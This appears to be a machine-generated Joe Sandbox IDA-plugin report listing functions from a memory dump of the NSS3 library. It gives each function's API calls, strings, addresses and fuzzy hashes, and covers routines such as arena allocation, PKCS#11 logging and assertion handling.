Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUl$bUl
API String ID: 326028414-3943757760
Opcode ID: 2a36848377d0c645700cf120bea43b40a97721aeb65d7ef1c6d1e289db6d66b8
Instruction ID: dfd2db63c3fa0c2e4a7fa9d3c916e9b019982d997cb0352316ea5619d7ee782b
Opcode Fuzzy Hash: 2a36848377d0c645700cf120bea43b40a97721aeb65d7ef1c6d1e289db6d66b8
Instruction Fuzzy Hash: C9413DB4A006059FCB00EF78D48496ABBF4FF49314B11956AEC599B711EB30E895CF91

Function 6CECECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CECDE64), ref: 6CECED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CECED22

Part of subcall function 6CEDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFB18D0,?), ref: 6CEDB095

PL_FreeArenaPool.NSS3(?), ref: 6CECED4A
PL_FinishArenaPool.NSS3(?), ref: 6CECED6B
PR_CallOnce.NSS3(6CFE2AA4,6CEE12D0), ref: 6CECED38

Part of subcall function 6CE04C70: TlsGetValue.KERNEL32(?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04C97
Part of subcall function 6CE04C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04CB0
Part of subcall function 6CE04C70: PR_Unlock.NSS3(?,?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CECED52
PR_CallOnce.NSS3(6CFE2AA4,6CEE12D0), ref: 6CECED83
PL_FreeArenaPool.NSS3(?), ref: 6CECED95
PL_FinishArenaPool.NSS3(?), ref: 6CECED9D

Part of subcall function 6CEE64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CEE127C,00000000,00000000,00000000), ref: 6CEE650E

Strings

security, xrefs: 6CECED06

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 70dae9fb96a02dbc746212bc3ad05ab8d66f6300f4b885122f3bc95aff0ef661
Instruction ID: ae0e3578f9ba41be6a7ea40cde25bb66cad44abd5027090e48f1eb1f77da9c4d
Opcode Fuzzy Hash: 70dae9fb96a02dbc746212bc3ad05ab8d66f6300f4b885122f3bc95aff0ef661
Instruction Fuzzy Hash: 14115B72A0061467E6505635AD46BBF7678AF0A74CF20082DE82063F41FB25A51D86E7

Function 6CEB2CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6CEB2CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CEB2D07

Part of subcall function 6CF909D0: PR_Now.NSS3 ref: 6CF90A22
Part of subcall function 6CF909D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF90A35
Part of subcall function 6CF909D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF90A66
Part of subcall function 6CF909D0: PR_GetCurrentThread.NSS3 ref: 6CF90A70
Part of subcall function 6CF909D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF90A9D
Part of subcall function 6CF909D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF90AC8
Part of subcall function 6CF909D0: PR_vsmprintf.NSS3(?,?), ref: 6CF90AE8
Part of subcall function 6CF909D0: EnterCriticalSection.KERNEL32(?), ref: 6CF90B19
Part of subcall function 6CF909D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF90B48
Part of subcall function 6CF909D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF90C76
Part of subcall function 6CF909D0: PR_LogFlush.NSS3 ref: 6CF90C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CEB2D22

Part of subcall function 6CF909D0: OutputDebugStringA.KERNEL32(?), ref: 6CF90B88
Part of subcall function 6CF909D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF90C5D
Part of subcall function 6CF909D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CF90C8D
Part of subcall function 6CF909D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF90C9C
Part of subcall function 6CF909D0: OutputDebugStringA.KERNEL32(?), ref: 6CF90CD1
Part of subcall function 6CF909D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CF90CEC
Part of subcall function 6CF909D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF90CFB
Part of subcall function 6CF909D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF90D16
Part of subcall function 6CF909D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CF90D26
Part of subcall function 6CF909D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF90D35
Part of subcall function 6CF909D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CF90D65
Part of subcall function 6CF909D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CF90D70
Part of subcall function 6CF909D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF90D90
Part of subcall function 6CF909D0: free.MOZGLUE(00000000), ref: 6CF90D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CEB2D3B

Part of subcall function 6CF909D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CF90BAB
Part of subcall function 6CF909D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF90BBA
Part of subcall function 6CF909D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF90D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6CEB2D54

Part of subcall function 6CF909D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF90BCB
Part of subcall function 6CF909D0: EnterCriticalSection.KERNEL32(?), ref: 6CF90BDE
Part of subcall function 6CF909D0: OutputDebugStringA.KERNEL32(?), ref: 6CF90C16

Strings

pPin = 0x%p, xrefs: 6CEB2D1D
pLabel = 0x%p, xrefs: 6CEB2D4F
C_InitToken, xrefs: 6CEB2CE7
slotID = 0x%x, xrefs: 6CEB2D02
ulPinLen = %d, xrefs: 6CEB2D36

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: 50fadadd8ba753223f3eb7115fe1d1798f0070106fa4cae466fc77f89a8e65a8
Instruction ID: c160faf2e4032a68db3403bb183fba400bdd2d04b8fe9ad0a2e66101dd721e92
Opcode Fuzzy Hash: 50fadadd8ba753223f3eb7115fe1d1798f0070106fa4cae466fc77f89a8e65a8
Instruction Fuzzy Hash: ED210335A00045FFEB809BA0DE8CB553BB2EF4A31DF544118F504A3722DB728909CB61

Function 6CF90EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CE72357), ref: 6CF90EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CE72357), ref: 6CF90EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CF90EE6

Part of subcall function 6CF909D0: PR_Now.NSS3 ref: 6CF90A22
Part of subcall function 6CF909D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF90A35
Part of subcall function 6CF909D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF90A66
Part of subcall function 6CF909D0: PR_GetCurrentThread.NSS3 ref: 6CF90A70
Part of subcall function 6CF909D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF90A9D
Part of subcall function 6CF909D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF90AC8
Part of subcall function 6CF909D0: PR_vsmprintf.NSS3(?,?), ref: 6CF90AE8
Part of subcall function 6CF909D0: EnterCriticalSection.KERNEL32(?), ref: 6CF90B19
Part of subcall function 6CF909D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF90B48
Part of subcall function 6CF909D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF90C76
Part of subcall function 6CF909D0: PR_LogFlush.NSS3 ref: 6CF90C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CF90EFA

Part of subcall function 6CE7AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CE7AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF90F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF90F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF90F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF90F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CF90ED9, 6CF90EE5, 6CF90F06, 6CF90F0B
Aborting, xrefs: 6CF90EB3

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 4e92d674284941fa29d97917c9ed58a6c4d9435671c0bcc6e11f942741011e25
Instruction ID: 4254545e8487735f9765c7cea0aab92af3006798ca151207e82986de25977d4f
Opcode Fuzzy Hash: 4e92d674284941fa29d97917c9ed58a6c4d9435671c0bcc6e11f942741011e25
Instruction Fuzzy Hash: 36F08CB5A001147BEE402B609C4AE9B3F2DDF8A664F004024FD1956602DA76E91496B2

Function 6CEF4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CEF4DCB

Part of subcall function 6CEE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE887ED,00000800,6CE7EF74,00000000), ref: 6CEE1000
Part of subcall function 6CEE0FF0: PR_NewLock.NSS3(?,00000800,6CE7EF74,00000000), ref: 6CEE1016
Part of subcall function 6CEE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE887ED,00000008,?,00000800,6CE7EF74,00000000), ref: 6CEE102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CEF4DE1

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CEF4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEF4E59

Part of subcall function 6CEDFAB0: free.MOZGLUE(?,-00000001,?,?,6CE7F673,00000000,00000000), ref: 6CEDFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CFB300C,00000000), ref: 6CEF4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CEF4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CEF4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEF521A

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 7b0c0809a1e1cdb3219e7a6fed3e4d1a7659c0a83e324f4d8069948653837de4
Instruction ID: 88d85d6cba9010b753f69a2e2fa86f70c5fc9a1455c3b54b69e5887e4e134651
Opcode Fuzzy Hash: 7b0c0809a1e1cdb3219e7a6fed3e4d1a7659c0a83e324f4d8069948653837de4
Instruction Fuzzy Hash: 4BF18D71E01209CBEB04CF54D8407ADB7B2BF59358F35816AD925AB781E735E982CF90

Function 6CE84FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6CFD0148,?,6CE96FEC), ref: 6CE8502A
PR_NewLock.NSS3(00000001,00000000,6CFD0148,?,6CE96FEC), ref: 6CE85034
PL_NewHashTable.NSS3(00000000,6CEDFE80,6CEDFD30,6CF2C350,00000000,00000000,00000001,00000000,6CFD0148,?,6CE96FEC), ref: 6CE85055
PL_NewHashTable.NSS3(00000000,6CEDFE80,6CEDFD30,6CF2C350,00000000,00000000,?,00000001,00000000,6CFD0148,?,6CE96FEC), ref: 6CE8506D

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 9579ed69e18c38f1fa7107e8482992cec15cf035cc7dcd97bbaefbdcf227e82e
Instruction ID: 5905cf6e83dd5f92e103f6c3897104be31242eb96d8bccbef8a08f7d9c8864ca
Opcode Fuzzy Hash: 9579ed69e18c38f1fa7107e8482992cec15cf035cc7dcd97bbaefbdcf227e82e
Instruction Fuzzy Hash: 1231B5B1F136116BFBC09B65884CF5737BA9B1B30CF264118E90A87740EB7A9A04CBD1

Function 6CE22E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE22F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CE22FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CE23005
memcpy.VCRUNTIME140(?,?,?), ref: 6CE230EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE23131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE23178

Strings

database corruption, xrefs: 6CE2316C
%s at line %d of [%.10s], xrefs: 6CE23171
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE23022, 6CE23156, 6CE23162, 6CE2318A, 6CE23196, 6CE231A2, 6CE231AE, 6CE231BA, 6CE231C6

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 24a560fdcc02a63f4ee4bddc4690f780a76e45e7dc0737fb27861c2917bf86a0
Instruction ID: 4a21dff93118fc6fbdbba5ddb93b0df83816014cec11c5ca1d4effa8220e30be
Opcode Fuzzy Hash: 24a560fdcc02a63f4ee4bddc4690f780a76e45e7dc0737fb27861c2917bf86a0
Instruction Fuzzy Hash: 01B1CF71E042199BDB18CF9DC885AEEF7B5BF48304F24402AE805B7B41D7799842CFA1

Function 6CEF7F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CEF7FB2

Part of subcall function 6CE7BA40: TlsGetValue.KERNEL32 ref: 6CE7BA51
Part of subcall function 6CE7BA40: TlsGetValue.KERNEL32 ref: 6CE7BA6B
Part of subcall function 6CE7BA40: EnterCriticalSection.KERNEL32 ref: 6CE7BA83
Part of subcall function 6CE7BA40: TlsGetValue.KERNEL32 ref: 6CE7BAA1
Part of subcall function 6CE7BA40: _PR_MD_UNLOCK.NSS3 ref: 6CE7BAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CEF7FD4

Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF490AB
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF490C9
Part of subcall function 6CF49090: EnterCriticalSection.KERNEL32 ref: 6CF490E5
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF49116
Part of subcall function 6CF49090: LeaveCriticalSection.KERNEL32 ref: 6CF4913F

Part of subcall function 6CEF9430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6CEF9466

PR_ExitMonitor.NSS3(?), ref: 6CEF801B
PR_EnterMonitor.NSS3(?), ref: 6CEF8034
TlsGetValue.KERNEL32 ref: 6CEF80A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEF80C0
PR_ExitMonitor.NSS3(?), ref: 6CEF811C
PR_ExitMonitor.NSS3(?), ref: 6CEF8134

Strings

), xrefs: 6CEF80DB

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: 70fc0c6831cf1bd335e2a908178ca811292f3ba1241f70a968927a033dde8bc9
Instruction ID: 1771f455497ae6caa09b02bf90d4e4592c2d529e7b8892f5551ae804118f06d1
Opcode Fuzzy Hash: 70fc0c6831cf1bd335e2a908178ca811292f3ba1241f70a968927a033dde8bc9
Instruction Fuzzy Hash: 22512872A007049BF7309F369C017DB7BB4AF5330CF64462DD9A946B52EB31A64AC792

Function 6CE9FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6CE9FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6CE9FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6CE9FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE9FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6CE9FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6CE9FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6CE9FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE9FD84

Strings

:, xrefs: 6CE9FD78

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: 7bccbd5b3efe2b73cdd598315d9683501c5e8073231590fe063af8a8b0348d0c
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: AB31C0B6E012159BEB008AA4DC457AF77B8AF4535CF350128EC14A7B10E77AE919C7D2

Function 6CEB6C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6CEB6C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEB6C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB6CA3

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEB6CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CEB6CD5

Strings

C_DigestInit, xrefs: 6CEB6C61
(CK_INVALID_HANDLE), xrefs: 6CEB6C9C
pMechanism = 0x%p, xrefs: 6CEB6CD0
hSession = 0x%x, xrefs: 6CEB6C7E, 6CEB6C8E

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: 8a0de82466daf35468783033f7b1545c326e053cd27d326089a12891d2e2f8f5
Instruction ID: 801a7f7eaaa6e4a353431897b4a5196f054b1b89cbf20b1b60f04f0a2823a56d
Opcode Fuzzy Hash: 8a0de82466daf35468783033f7b1545c326e053cd27d326089a12891d2e2f8f5
Instruction Fuzzy Hash: C4214B30E00104AFDB889B54DE88B6E77B9EB4A31CF154429E508E7B12DF359D0CCB91

Function 6CEB9DD0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6CEB9DF6
